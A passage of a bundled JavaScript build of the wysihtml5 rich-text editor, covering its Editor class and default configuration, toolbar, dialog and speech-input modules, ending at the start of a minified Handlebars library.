this.hasPlaceholderSet();\n  },\n\n  _observe: function() {\n    var element = this.element,\n        parent  = this.parent,\n        eventMapping = {\n          focusin:  \"focus\",\n          focusout: \"blur\"\n        },\n        /**\n         * Calling focus() or blur() on an element doesn't synchronously trigger the attached focus/blur events\n         * This is the case for focusin and focusout, so let's use them whenever possible, kkthxbai\n         */\n        events = wysihtml5.browser.supportsEvent(\"focusin\") ? [\"focusin\", \"focusout\", \"change\"] : [\"focus\", \"blur\", \"change\"];\n\n    parent.on(\"beforeload\", function() {\n      wysihtml5.dom.observe(element, events, function(event) {\n        var eventName = eventMapping[event.type] || event.type;\n        parent.fire(eventName).fire(eventName + \":textarea\");\n      });\n\n      wysihtml5.dom.observe(element, [\"paste\", \"drop\"], function() {\n        setTimeout(function() { parent.fire(\"paste\").fire(\"paste:textarea\"); }, 0);\n      });\n    });\n  }\n});\n;/**\n * WYSIHTML5 Editor\n *\n * @param {Element} editableElement Reference to the textarea which should be turned into a rich text interface\n * @param {Object} [config] See defaultConfig object below for explanation of each individual config option\n *\n * @events\n *    load\n *    beforeload (for internal use only)\n *    focus\n *    focus:composer\n *    focus:textarea\n *    blur\n *    blur:composer\n *    blur:textarea\n *    change\n *    change:composer\n *    change:textarea\n *    paste\n *    paste:composer\n *    paste:textarea\n *    newword:composer\n *    destroy:composer\n *    undo:composer\n *    redo:composer\n *    beforecommand:composer\n *    aftercommand:composer\n *    enable:composer\n *    disable:composer\n *    change_view\n */\n(function(wysihtml5) {\n  var undef;\n\n  var defaultConfig = {\n    // Give the editor a name, the name will also be set as class name on the iframe and on the iframe's body\n    name:                 undef,\n    // Whether the editor should look like the textarea (by adopting styles)\n    style:                true,\n    // Id of the toolbar element, pass falsey value if you don't want any toolbar logic\n    toolbar:              undef,\n    // Whether toolbar is displayed after init by script automatically.\n    // Can be set to false if toolobar is set to display only on editable area focus\n    showToolbarAfterInit: true,\n    // Whether urls, entered by the user should automatically become clickable-links\n    autoLink:             true,\n    // Includes table editing events and cell selection tracking\n    handleTables:         true,\n    // Tab key inserts tab into text as default behaviour. It can be disabled to regain keyboard navigation\n    handleTabKey:         true,\n    // Object which includes parser rules to apply when html gets cleaned\n    // See parser_rules/*.js for examples\n    parserRules:          { tags: { br: {}, span: {}, div: {}, p: {} }, classes: {} },\n    // Object which includes parser when the user inserts content via copy & paste. If null parserRules will be used instead\n    pasteParserRulesets: null,\n    // Parser method to use when the user inserts content\n    parser:               wysihtml5.dom.parse,\n    // Class name which should be set on the contentEditable element in the created sandbox iframe, can be styled via the 'stylesheets' option\n    composerClassName:    \"wysihtml5-editor\",\n    // Class name to add to the body when the wysihtml5 editor is supported\n    bodyClassName:        \"wysihtml5-supported\",\n    // By default wysihtml5 will insert a <br> for line breaks, set this to false to use <p>\n    useLineBreaks:        true,\n    // Array (or single string) of stylesheet urls to be loaded in the editor's iframe\n    stylesheets:          [],\n    // Placeholder text to use, defaults to the placeholder attribute on the textarea element\n    placeholderText:      undef,\n    // Whether the rich text editor should be rendered on touch devices (wysihtml5 >= 0.3.0 comes with basic support for iOS 5)\n    supportTouchDevices:  true,\n    // Whether senseless <span> elements (empty or without attributes) should be removed/replaced with their content\n    cleanUp:              true,\n    // Whether to use div instead of secure iframe\n    contentEditableMode: false,\n    // Classname of container that editor should not touch and pass through\n    // Pass false to disable\n    uneditableContainerClassname: \"wysihtml5-uneditable-container\",\n    // Browsers that support copied source handling will get a marking of the origin of the copied source (for determinig code cleanup rules on paste)\n    // Also copied source is based directly on selection - \n    // (very useful for webkit based browsers where copy will otherwise contain a lot of code and styles based on whatever and not actually in selection).\n    // If falsy value is passed source override is also disabled\n    copyedFromMarking: '<meta name=\"copied-from\" content=\"wysihtml5\">'\n  };\n\n  wysihtml5.Editor = wysihtml5.lang.Dispatcher.extend(\n    /** @scope wysihtml5.Editor.prototype */ {\n    constructor: function(editableElement, config) {\n      this.editableElement  = typeof(editableElement) === \"string\" ? document.getElementById(editableElement) : editableElement;\n      this.config           = wysihtml5.lang.object({}).merge(defaultConfig).merge(config).get();\n      this._isCompatible    = wysihtml5.browser.supported();\n\n      if (this.editableElement.nodeName.toLowerCase() != \"textarea\") {\n          this.config.contentEditableMode = true;\n          this.config.noTextarea = true;\n      }\n      if (!this.config.noTextarea) {\n          this.textarea         = new wysihtml5.views.Textarea(this, this.editableElement, this.config);\n          this.currentView      = this.textarea;\n      }\n\n      // Sort out unsupported/unwanted browsers here\n      if (!this._isCompatible || (!this.config.supportTouchDevices && wysihtml5.browser.isTouchDevice())) {\n        var that = this;\n        setTimeout(function() { that.fire(\"beforeload\").fire(\"load\"); }, 0);\n        return;\n      }\n\n      // Add class name to body, to indicate that the editor is supported\n      wysihtml5.dom.addClass(document.body, this.config.bodyClassName);\n\n      this.composer = new wysihtml5.views.Composer(this, this.editableElement, this.config);\n      this.currentView = this.composer;\n\n      if (typeof(this.config.parser) === \"function\") {\n        this._initParser();\n      }\n\n      this.on(\"beforeload\", this.handleBeforeLoad);\n    },\n\n    handleBeforeLoad: function() {\n        if (!this.config.noTextarea) {\n            this.synchronizer = new wysihtml5.views.Synchronizer(this, this.textarea, this.composer);\n        }\n        if (this.config.toolbar) {\n          this.toolbar = new wysihtml5.toolbar.Toolbar(this, this.config.toolbar, this.config.showToolbarAfterInit);\n        }\n    },\n\n    isCompatible: function() {\n      return this._isCompatible;\n    },\n\n    clear: function() {\n      this.currentView.clear();\n      return this;\n    },\n\n    getValue: function(parse, clearInternals) {\n      return this.currentView.getValue(parse, clearInternals);\n    },\n\n    setValue: function(html, parse) {\n      this.fire(\"unset_placeholder\");\n\n      if (!html) {\n        return this.clear();\n      }\n\n      this.currentView.setValue(html, parse);\n      return this;\n    },\n\n    cleanUp: function() {\n        this.currentView.cleanUp();\n    },\n\n    focus: function(setToEnd) {\n      this.currentView.focus(setToEnd);\n      return this;\n    },\n\n    /**\n     * Deactivate editor (make it readonly)\n     */\n    disable: function() {\n      this.currentView.disable();\n      return this;\n    },\n\n    /**\n     * Activate editor\n     */\n    enable: function() {\n      this.currentView.enable();\n      return this;\n    },\n\n    isEmpty: function() {\n      return this.currentView.isEmpty();\n    },\n\n    hasPlaceholderSet: function() {\n      return this.currentView.hasPlaceholderSet();\n    },\n\n    parse: function(htmlOrElement, clearInternals) {\n      var parseContext = (this.config.contentEditableMode) ? document : ((this.composer) ? this.composer.sandbox.getDocument() : null);\n      var returnValue = this.config.parser(htmlOrElement, {\n        \"rules\": this.config.parserRules,\n        \"cleanUp\": this.config.cleanUp,\n        \"context\": parseContext,\n        \"uneditableClass\": this.config.uneditableContainerClassname,\n        \"clearInternals\" : clearInternals\n      });\n      if (typeof(htmlOrElement) === \"object\") {\n        wysihtml5.quirks.redraw(htmlOrElement);\n      }\n      return returnValue;\n    },\n\n    /**\n     * Prepare html parser logic\n     *  - Observes for paste and drop\n     */\n    _initParser: function() {\n      var that = this,\n          oldHtml,\n          cleanHtml;\n\n      if (wysihtml5.browser.supportsModenPaste()) {\n        this.on(\"paste:composer\", function(event) {\n          event.preventDefault();\n          oldHtml = wysihtml5.dom.getPastedHtml(event);\n          if (oldHtml) {\n            that._cleanAndPaste(oldHtml);\n          }\n        });\n\n      } else {\n        this.on(\"beforepaste:composer\", function(event) {\n          event.preventDefault();\n          wysihtml5.dom.getPastedHtmlWithDiv(that.composer, function(pastedHTML) {\n            if (pastedHTML) {\n              that._cleanAndPaste(pastedHTML);\n            }\n          });\n        });\n\n      }\n    },\n\n    _cleanAndPaste: function (oldHtml) {\n      var cleanHtml = wysihtml5.quirks.cleanPastedHTML(oldHtml, {\n        \"referenceNode\": this.composer.element,\n        \"rules\": this.config.pasteParserRulesets || [{\"set\": this.config.parserRules}],\n        \"uneditableClass\": this.config.uneditableContainerClassname\n      });\n      this.composer.selection.deleteContents();\n      this.composer.selection.insertHTML(cleanHtml);\n    }\n  });\n})(wysihtml5);\n;/**\n * Toolbar Dialog\n *\n * @param {Element} link The toolbar link which causes the dialog to show up\n * @param {Element} container The dialog container\n *\n * @example\n *    <!-- Toolbar link -->\n *    <a data-wysihtml5-command=\"insertImage\">insert an image</a>\n *\n *    <!-- Dialog -->\n *    <div data-wysihtml5-dialog=\"insertImage\" style=\"display: none;\">\n *      <label>\n *        URL: <input data-wysihtml5-dialog-field=\"src\" value=\"http://\">\n *      </label>\n *      <label>\n *        Alternative text: <input data-wysihtml5-dialog-field=\"alt\" value=\"\">\n *      </label>\n *    </div>\n *\n *    <script>\n *      var dialog = new wysihtml5.toolbar.Dialog(\n *        document.querySelector(\"[data-wysihtml5-command='insertImage']\"),\n *        document.querySelector(\"[data-wysihtml5-dialog='insertImage']\")\n *      );\n *      dialog.observe(\"save\", function(attributes) {\n *        // do something\n *      });\n *    </script>\n */\n(function(wysihtml5) {\n  var dom                     = wysihtml5.dom,\n      CLASS_NAME_OPENED       = \"wysihtml5-command-dialog-opened\",\n      SELECTOR_FORM_ELEMENTS  = \"input, select, textarea\",\n      SELECTOR_FIELDS         = \"[data-wysihtml5-dialog-field]\",\n      ATTRIBUTE_FIELDS        = \"data-wysihtml5-dialog-field\";\n\n\n  wysihtml5.toolbar.Dialog = wysihtml5.lang.Dispatcher.extend(\n    /** @scope wysihtml5.toolbar.Dialog.prototype */ {\n    constructor: function(link, container) {\n      this.link       = link;\n      this.container  = container;\n    },\n\n    _observe: function() {\n      if (this._observed) {\n        return;\n      }\n\n      var that = this,\n          callbackWrapper = function(event) {\n            var attributes = that._serialize();\n            if (attributes == that.elementToChange) {\n              that.fire(\"edit\", attributes);\n            } else {\n              that.fire(\"save\", attributes);\n            }\n            that.hide();\n            event.preventDefault();\n            event.stopPropagation();\n          };\n\n      dom.observe(that.link, \"click\", function() {\n        if (dom.hasClass(that.link, CLASS_NAME_OPENED)) {\n          setTimeout(function() { that.hide(); }, 0);\n        }\n      });\n\n      dom.observe(this.container, \"keydown\", function(event) {\n        var keyCode = event.keyCode;\n        if (keyCode === wysihtml5.ENTER_KEY) {\n          callbackWrapper(event);\n        }\n        if (keyCode === wysihtml5.ESCAPE_KEY) {\n          that.fire(\"cancel\");\n          that.hide();\n        }\n      });\n\n      dom.delegate(this.container, \"[data-wysihtml5-dialog-action=save]\", \"click\", callbackWrapper);\n\n      dom.delegate(this.container, \"[data-wysihtml5-dialog-action=cancel]\", \"click\", function(event) {\n        that.fire(\"cancel\");\n        that.hide();\n        event.preventDefault();\n        event.stopPropagation();\n      });\n\n      var formElements  = this.container.querySelectorAll(SELECTOR_FORM_ELEMENTS),\n          i             = 0,\n          length        = formElements.length,\n          _clearInterval = function() { clearInterval(that.interval); };\n      for (; i<length; i++) {\n        dom.observe(formElements[i], \"change\", _clearInterval);\n      }\n\n      this._observed = true;\n    },\n\n    /**\n     * Grabs all fields in the dialog and puts them in key=>value style in an object which\n     * then gets returned\n     */\n    _serialize: function() {\n      var data    = this.elementToChange || {},\n          fields  = this.container.querySelectorAll(SELECTOR_FIELDS),\n          length  = fields.length,\n          i       = 0;\n\n      for (; i<length; i++) {\n        data[fields[i].getAttribute(ATTRIBUTE_FIELDS)] = fields[i].value;\n      }\n      return data;\n    },\n\n    /**\n     * Takes the attributes of the \"elementToChange\"\n     * and inserts them in their corresponding dialog input fields\n     *\n     * Assume the \"elementToChange\" looks like this:\n     *    <a href=\"http://www.google.com\" target=\"_blank\">foo</a>\n     *\n     * and we have the following dialog:\n     *    <input type=\"text\" data-wysihtml5-dialog-field=\"href\" value=\"\">\n     *    <input type=\"text\" data-wysihtml5-dialog-field=\"target\" value=\"\">\n     *\n     * after calling _interpolate() the dialog will look like this\n     *    <input type=\"text\" data-wysihtml5-dialog-field=\"href\" value=\"http://www.google.com\">\n     *    <input type=\"text\" data-wysihtml5-dialog-field=\"target\" value=\"_blank\">\n     *\n     * Basically it adopted the attribute values into the corresponding input fields\n     *\n     */\n    _interpolate: function(avoidHiddenFields) {\n      var field,\n          fieldName,\n          newValue,\n          focusedElement = document.querySelector(\":focus\"),\n          fields         = this.container.querySelectorAll(SELECTOR_FIELDS),\n          length         = fields.length,\n          i              = 0;\n      for (; i<length; i++) {\n        field = fields[i];\n\n        // Never change elements where the user is currently typing in\n        if (field === focusedElement) {\n          continue;\n        }\n\n        // Don't update hidden fields\n        // See https://github.com/xing/wysihtml5/pull/14\n        if (avoidHiddenFields && field.type === \"hidden\") {\n          continue;\n        }\n\n        fieldName = field.getAttribute(ATTRIBUTE_FIELDS);\n        newValue  = (this.elementToChange && typeof(this.elementToChange) !== 'boolean') ? (this.elementToChange.getAttribute(fieldName) || \"\") : field.defaultValue;\n        field.value = newValue;\n      }\n    },\n\n    /**\n     * Show the dialog element\n     */\n    show: function(elementToChange) {\n      if (dom.hasClass(this.link, CLASS_NAME_OPENED)) {\n        return;\n      }\n\n      var that        = this,\n          firstField  = this.container.querySelector(SELECTOR_FORM_ELEMENTS);\n      this.elementToChange = elementToChange;\n      this._observe();\n      this._interpolate();\n      if (elementToChange) {\n        this.interval = setInterval(function() { that._interpolate(true); }, 500);\n      }\n      dom.addClass(this.link, CLASS_NAME_OPENED);\n      this.container.style.display = \"\";\n      this.fire(\"show\");\n      if (firstField && !elementToChange) {\n        try {\n          firstField.focus();\n        } catch(e) {}\n      }\n    },\n\n    /**\n     * Hide the dialog element\n     */\n    hide: function() {\n      clearInterval(this.interval);\n      this.elementToChange = null;\n      dom.removeClass(this.link, CLASS_NAME_OPENED);\n      this.container.style.display = \"none\";\n      this.fire(\"hide\");\n    }\n  });\n})(wysihtml5);\n;/**\n * Converts speech-to-text and inserts this into the editor\n * As of now (2011/03/25) this only is supported in Chrome >= 11\n *\n * Note that it sends the recorded audio to the google speech recognition api:\n * http://stackoverflow.com/questions/4361826/does-chrome-have-buil-in-speech-recognition-for-input-type-text-x-webkit-speec\n *\n * Current HTML5 draft can be found here\n * http://lists.w3.org/Archives/Public/public-xg-htmlspeech/2011Feb/att-0020/api-draft.html\n *\n * \"Accessing Google Speech API Chrome 11\"\n * http://mikepultz.com/2011/03/accessing-google-speech-api-chrome-11/\n */\n(function(wysihtml5) {\n  var dom = wysihtml5.dom;\n\n  var linkStyles = {\n    position: \"relative\"\n  };\n\n  var wrapperStyles = {\n    left:     0,\n    margin:   0,\n    opacity:  0,\n    overflow: \"hidden\",\n    padding:  0,\n    position: \"absolute\",\n    top:      0,\n    zIndex:   1\n  };\n\n  var inputStyles = {\n    cursor:     \"inherit\",\n    fontSize:   \"50px\",\n    height:     \"50px\",\n    marginTop:  \"-25px\",\n    outline:    0,\n    padding:    0,\n    position:   \"absolute\",\n    right:      \"-4px\",\n    top:        \"50%\"\n  };\n\n  var inputAttributes = {\n    \"x-webkit-speech\": \"\",\n    \"speech\":          \"\"\n  };\n\n  wysihtml5.toolbar.Speech = function(parent, link) {\n    var input = document.createElement(\"input\");\n    if (!wysihtml5.browser.supportsSpeechApiOn(input)) {\n      link.style.display = \"none\";\n      return;\n    }\n    var lang = parent.editor.textarea.element.getAttribute(\"lang\");\n    if (lang) {\n      inputAttributes.lang = lang;\n    }\n\n    var wrapper = document.createElement(\"div\");\n\n    wysihtml5.lang.object(wrapperStyles).merge({\n      width:  link.offsetWidth  + \"px\",\n      height: link.offsetHeight + \"px\"\n    });\n\n    dom.insert(input).into(wrapper);\n    dom.insert(wrapper).into(link);\n\n    dom.setStyles(inputStyles).on(input);\n    dom.setAttributes(inputAttributes).on(input);\n\n    dom.setStyles(wrapperStyles).on(wrapper);\n    dom.setStyles(linkStyles).on(link);\n\n    var eventName = \"onwebkitspeechchange\" in input ? \"webkitspeechchange\" : \"speechchange\";\n    dom.observe(input, eventName, function() {\n      parent.execCommand(\"insertText\", input.value);\n      input.value = \"\";\n    });\n\n    dom.observe(input, \"click\", function(event) {\n      if (dom.hasClass(link, \"wysihtml5-command-disabled\")) {\n        event.preventDefault();\n      }\n\n      event.stopPropagation();\n    });\n  };\n})(wysihtml5);\n;/**\n * Toolbar\n *\n * @param {Object} parent Reference to instance of Editor instance\n * @param {Element} container Reference to the toolbar container element\n *\n * @example\n *    <div id=\"toolbar\">\n *      <a data-wysihtml5-command=\"createLink\">insert link</a>\n *      <a data-wysihtml5-command=\"formatBlock\" data-wysihtml5-command-value=\"h1\">insert h1</a>\n *    </div>\n *\n *    <script>\n *      var toolbar = new wysihtml5.toolbar.Toolbar(editor, document.getElementById(\"toolbar\"));\n *    </script>\n */\n(function(wysihtml5) {\n  var CLASS_NAME_COMMAND_DISABLED   = \"wysihtml5-command-disabled\",\n      CLASS_NAME_COMMANDS_DISABLED  = \"wysihtml5-commands-disabled\",\n      CLASS_NAME_COMMAND_ACTIVE     = \"wysihtml5-command-active\",\n      CLASS_NAME_ACTION_ACTIVE      = \"wysihtml5-action-active\",\n      dom                           = wysihtml5.dom;\n\n  wysihtml5.toolbar.Toolbar = Base.extend(\n    /** @scope wysihtml5.toolbar.Toolbar.prototype */ {\n    constructor: function(editor, container, showOnInit) {\n      this.editor     = editor;\n      this.container  = typeof(container) === \"string\" ? document.getElementById(container) : container;\n      this.composer   = editor.composer;\n\n      this._getLinks(\"command\");\n      this._getLinks(\"action\");\n\n      this._observe();\n      if (showOnInit) { this.show(); }\n\n      if (editor.config.classNameCommandDisabled != null) {\n        CLASS_NAME_COMMAND_DISABLED = editor.config.classNameCommandDisabled;\n      }\n      if (editor.config.classNameCommandsDisabled != null) {\n        CLASS_NAME_COMMANDS_DISABLED = editor.config.classNameCommandsDisabled;\n      }\n      if (editor.config.classNameCommandActive != null) {\n        CLASS_NAME_COMMAND_ACTIVE = editor.config.classNameCommandActive;\n      }\n      if (editor.config.classNameActionActive != null) {\n        CLASS_NAME_ACTION_ACTIVE = editor.config.classNameActionActive;\n      }\n\n      var speechInputLinks  = this.container.querySelectorAll(\"[data-wysihtml5-command=insertSpeech]\"),\n          length            = speechInputLinks.length,\n          i                 = 0;\n      for (; i<length; i++) {\n        new wysihtml5.toolbar.Speech(this, speechInputLinks[i]);\n      }\n    },\n\n    _getLinks: function(type) {\n      var links   = this[type + \"Links\"] = wysihtml5.lang.array(this.container.querySelectorAll(\"[data-wysihtml5-\" + type + \"]\")).get(),\n          length  = links.length,\n          i       = 0,\n          mapping = this[type + \"Mapping\"] = {},\n          link,\n          group,\n          name,\n          value,\n          dialog;\n      for (; i<length; i++) {\n        link    = links[i];\n        name    = link.getAttribute(\"data-wysihtml5-\" + type);\n        value   = link.getAttribute(\"data-wysihtml5-\" + type + \"-value\");\n        group   = this.container.querySelector(\"[data-wysihtml5-\" + type + \"-group='\" + name + \"']\");\n        dialog  = this._getDialog(link, name);\n\n        mapping[name + \":\" + value] = {\n          link:   link,\n          group:  group,\n          name:   name,\n          value:  value,\n          dialog: dialog,\n          state:  false\n        };\n      }\n    },\n\n    _getDialog: function(link, command) {\n      var that          = this,\n          dialogElement = this.container.querySelector(\"[data-wysihtml5-dialog='\" + command + \"']\"),\n          dialog,\n          caretBookmark;\n\n      if (dialogElement) {\n        if (wysihtml5.toolbar[\"Dialog_\" + command]) {\n            dialog = new wysihtml5.toolbar[\"Dialog_\" + command](link, dialogElement);\n        } else {\n            dialog = new wysihtml5.toolbar.Dialog(link, dialogElement);\n        }\n\n        dialog.on(\"show\", function() {\n          caretBookmark = that.composer.selection.getBookmark();\n\n          that.editor.fire(\"show:dialog\", { command: command, dialogContainer: dialogElement, commandLink: link });\n        });\n\n        dialog.on(\"save\", function(attributes) {\n          if (caretBookmark) {\n            that.composer.selection.setBookmark(caretBookmark);\n          }\n          that._execCommand(command, attributes);\n\n          that.editor.fire(\"save:dialog\", { command: command, dialogContainer: dialogElement, commandLink: link });\n        });\n\n        dialog.on(\"cancel\", function() {\n          that.editor.focus(false);\n          that.editor.fire(\"cancel:dialog\", { command: command, dialogContainer: dialogElement, commandLink: link });\n        });\n      }\n      return dialog;\n    },\n\n    /**\n     * @example\n     *    var toolbar = new wysihtml5.Toolbar();\n     *    // Insert a <blockquote> element or wrap current selection in <blockquote>\n     *    toolbar.execCommand(\"formatBlock\", \"blockquote\");\n     */\n    execCommand: function(command, commandValue) {\n      if (this.commandsDisabled) {\n        return;\n      }\n\n      var commandObj = this.commandMapping[command + \":\" + commandValue];\n\n      // Show dialog when available\n      if (commandObj && commandObj.dialog && !commandObj.state) {\n        commandObj.dialog.show();\n      } else {\n        this._execCommand(command, commandValue);\n      }\n    },\n\n    _execCommand: function(command, commandValue) {\n      // Make sure that composer is focussed (false => don't move caret to the end)\n      this.editor.focus(false);\n\n      this.composer.commands.exec(command, commandValue);\n      this._updateLinkStates();\n    },\n\n    execAction: function(action) {\n      var editor = this.editor;\n      if (action === \"change_view\") {\n        if (editor.textarea) {\n            if (editor.currentView === editor.textarea) {\n              editor.fire(\"change_view\", \"composer\");\n            } else {\n              editor.fire(\"change_view\", \"textarea\");\n            }\n        }\n      }\n      if (action == \"showSource\") {\n          editor.fire(\"showSource\");\n      }\n    },\n\n    _observe: function() {\n      var that      = this,\n          editor    = this.editor,\n          container = this.container,\n          links     = this.commandLinks.concat(this.actionLinks),\n          length    = links.length,\n          i         = 0;\n\n      for (; i<length; i++) {\n        // 'javascript:;' and unselectable=on Needed for IE, but done in all browsers to make sure that all get the same css applied\n        // (you know, a:link { ... } doesn't match anchors with missing href attribute)\n        if (links[i].nodeName === \"A\") {\n          dom.setAttributes({\n            href:         \"javascript:;\",\n            unselectable: \"on\"\n          }).on(links[i]);\n        } else {\n          dom.setAttributes({ unselectable: \"on\" }).on(links[i]);\n        }\n      }\n\n      // Needed for opera and chrome\n      dom.delegate(container, \"[data-wysihtml5-command], [data-wysihtml5-action]\", \"mousedown\", function(event) { event.preventDefault(); });\n\n      dom.delegate(container, \"[data-wysihtml5-command]\", \"click\", function(event) {\n        var link          = this,\n            command       = link.getAttribute(\"data-wysihtml5-command\"),\n            commandValue  = link.getAttribute(\"data-wysihtml5-command-value\");\n        that.execCommand(command, commandValue);\n        event.preventDefault();\n      });\n\n      dom.delegate(container, \"[data-wysihtml5-action]\", \"click\", function(event) {\n        var action = this.getAttribute(\"data-wysihtml5-action\");\n        that.execAction(action);\n        event.preventDefault();\n      });\n\n      editor.on(\"interaction:composer\", function() {\n          that._updateLinkStates();\n      });\n\n      editor.on(\"focus:composer\", function() {\n        that.bookmark = null;\n      });\n\n      if (this.editor.config.handleTables) {\n          editor.on(\"tableselect:composer\", function() {\n              that.container.querySelectorAll('[data-wysihtml5-hiddentools=\"table\"]')[0].style.display = \"\";\n          });\n          editor.on(\"tableunselect:composer\", function() {\n              that.container.querySelectorAll('[data-wysihtml5-hiddentools=\"table\"]')[0].style.display = \"none\";\n          });\n      }\n\n      editor.on(\"change_view\", function(currentView) {\n        // Set timeout needed in order to let the blur event fire first\n        if (editor.textarea) {\n            setTimeout(function() {\n              that.commandsDisabled = (currentView !== \"composer\");\n              that._updateLinkStates();\n              if (that.commandsDisabled) {\n                dom.addClass(container, CLASS_NAME_COMMANDS_DISABLED);\n              } else {\n                dom.removeClass(container, CLASS_NAME_COMMANDS_DISABLED);\n              }\n            }, 0);\n        }\n      });\n    },\n\n    _updateLinkStates: function() {\n\n      var commandMapping    = this.commandMapping,\n          actionMapping     = this.actionMapping,\n          i,\n          state,\n          action,\n          command;\n      // every millisecond counts... this is executed quite often\n      for (i in commandMapping) {\n        command = commandMapping[i];\n        if (this.commandsDisabled) {\n          state = false;\n          dom.removeClass(command.link, CLASS_NAME_COMMAND_ACTIVE);\n          if (command.group) {\n            dom.removeClass(command.group, CLASS_NAME_COMMAND_ACTIVE);\n          }\n          if (command.dialog) {\n            command.dialog.hide();\n          }\n        } else {\n          state = this.composer.commands.state(command.name, command.value);\n          dom.removeClass(command.link, CLASS_NAME_COMMAND_DISABLED);\n          if (command.group) {\n            dom.removeClass(command.group, CLASS_NAME_COMMAND_DISABLED);\n          }\n        }\n        if (command.state === state) {\n          continue;\n        }\n\n        command.state = state;\n        if (state) {\n          dom.addClass(command.link, CLASS_NAME_COMMAND_ACTIVE);\n          if (command.group) {\n            dom.addClass(command.group, CLASS_NAME_COMMAND_ACTIVE);\n          }\n          if (command.dialog) {\n            if (typeof(state) === \"object\" || wysihtml5.lang.object(state).isArray()) {\n\n              if (!command.dialog.multiselect && wysihtml5.lang.object(state).isArray()) {\n                // Grab first and only object/element in state array, otherwise convert state into boolean\n                // to avoid showing a dialog for multiple selected elements which may have different attributes\n                // eg. when two links with different href are selected, the state will be an array consisting of both link elements\n                // but the dialog interface can only update one\n                state = state.length === 1 ? state[0] : true;\n                command.state = state;\n              }\n              command.dialog.show(state);\n            } else {\n              command.dialog.hide();\n            }\n          }\n        } else {\n          dom.removeClass(command.link, CLASS_NAME_COMMAND_ACTIVE);\n          if (command.group) {\n            dom.removeClass(command.group, CLASS_NAME_COMMAND_ACTIVE);\n          }\n          if (command.dialog) {\n            command.dialog.hide();\n          }\n        }\n      }\n\n      for (i in actionMapping) {\n        action = actionMapping[i];\n\n        if (action.name === \"change_view\") {\n          action.state = this.editor.currentView === this.editor.textarea;\n          if (action.state) {\n            dom.addClass(action.link, CLASS_NAME_ACTION_ACTIVE);\n          } else {\n            dom.removeClass(action.link, CLASS_NAME_ACTION_ACTIVE);\n          }\n        }\n      }\n    },\n\n    show: function() {\n      this.container.style.display = \"\";\n    },\n\n    hide: function() {\n      this.container.style.display = \"none\";\n    }\n  });\n\n})(wysihtml5);\n;(function(wysihtml5) {\n    wysihtml5.toolbar.Dialog_createTable = wysihtml5.toolbar.Dialog.extend({\n        show: function(elementToChange) {\n            this.base(elementToChange);\n\n        }\n\n    });\n})(wysihtml5);\n;(function(wysihtml5) {\n  var dom                     = wysihtml5.dom,\n      SELECTOR_FIELDS         = \"[data-wysihtml5-dialog-field]\",\n      ATTRIBUTE_FIELDS        = \"data-wysihtml5-dialog-field\";\n\n  wysihtml5.toolbar.Dialog_foreColorStyle = wysihtml5.toolbar.Dialog.extend({\n    multiselect: true,\n\n    _serialize: function() {\n      var data    = {},\n          fields  = this.container.querySelectorAll(SELECTOR_FIELDS),\n          length  = fields.length,\n          i       = 0;\n\n      for (; i<length; i++) {\n        data[fields[i].getAttribute(ATTRIBUTE_FIELDS)] = fields[i].value;\n      }\n      return data;\n    },\n\n    _interpolate: function(avoidHiddenFields) {\n      var field,\n          fieldName,\n          newValue,\n          focusedElement = document.querySelector(\":focus\"),\n          fields         = this.container.querySelectorAll(SELECTOR_FIELDS),\n          length         = fields.length,\n          i              = 0,\n          firstElement   = (this.elementToChange) ? ((wysihtml5.lang.object(this.elementToChange).isArray()) ? this.elementToChange[0] : this.elementToChange) : null,\n          colorStr       = (firstElement) ? firstElement.getAttribute('style') : null,\n          color          = (colorStr) ? wysihtml5.quirks.styleParser.parseColor(colorStr, \"color\") : null;\n\n      for (; i<length; i++) {\n        field = fields[i];\n        // Never change elements where the user is currently typing in\n        if (field === focusedElement) {\n          continue;\n        }\n        // Don't update hidden fields3\n        if (avoidHiddenFields && field.type === \"hidden\") {\n          continue;\n        }\n        if (field.getAttribute(ATTRIBUTE_FIELDS) === \"color\") {\n          if (color) {\n            if (color[3] && color[3] != 1) {\n              field.value = \"rgba(\" + color[0] + \",\" + color[1] + \",\" + color[2] + \",\" + color[3] + \");\";\n            } else {\n              field.value = \"rgb(\" + color[0] + \",\" + color[1] + \",\" + color[2] + \");\";\n            }\n          } else {\n            field.value = \"rgb(0,0,0);\";\n          }\n        }\n      }\n    }\n\n  });\n})(wysihtml5);\n;(function(wysihtml5) {\n  var dom                     = wysihtml5.dom,\n      SELECTOR_FIELDS         = \"[data-wysihtml5-dialog-field]\",\n      ATTRIBUTE_FIELDS        = \"data-wysihtml5-dialog-field\";\n\n  wysihtml5.toolbar.Dialog_fontSizeStyle = wysihtml5.toolbar.Dialog.extend({\n    multiselect: true,\n\n    _serialize: function() {\n      return {\"size\" : this.container.querySelector('[data-wysihtml5-dialog-field=\"size\"]').value};\n    },\n\n    _interpolate: function(avoidHiddenFields) {\n      var focusedElement = document.querySelector(\":focus\"),\n          field          = this.container.querySelector(\"[data-wysihtml5-dialog-field='size']\"),\n          firstElement   = (this.elementToChange) ? ((wysihtml5.lang.object(this.elementToChange).isArray()) ? this.elementToChange[0] : this.elementToChange) : null,\n          styleStr       = (firstElement) ? firstElement.getAttribute('style') : null,\n          size           = (styleStr) ? wysihtml5.quirks.styleParser.parseFontSize(styleStr) : null;\n\n      if (field && field !== focusedElement && size && !(/^\\s*$/).test(size)) {\n        field.value = size;\n      }\n    }\n\n  });\n})(wysihtml5);\n/*!\n\n handlebars v1.3.0\n\nCopyright (C) 2011 by Yehuda Katz\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\n@license\n*/\nvar Handlebars=function(){var a=function(){\"use strict\";function a(a){this.string=a}var b;return 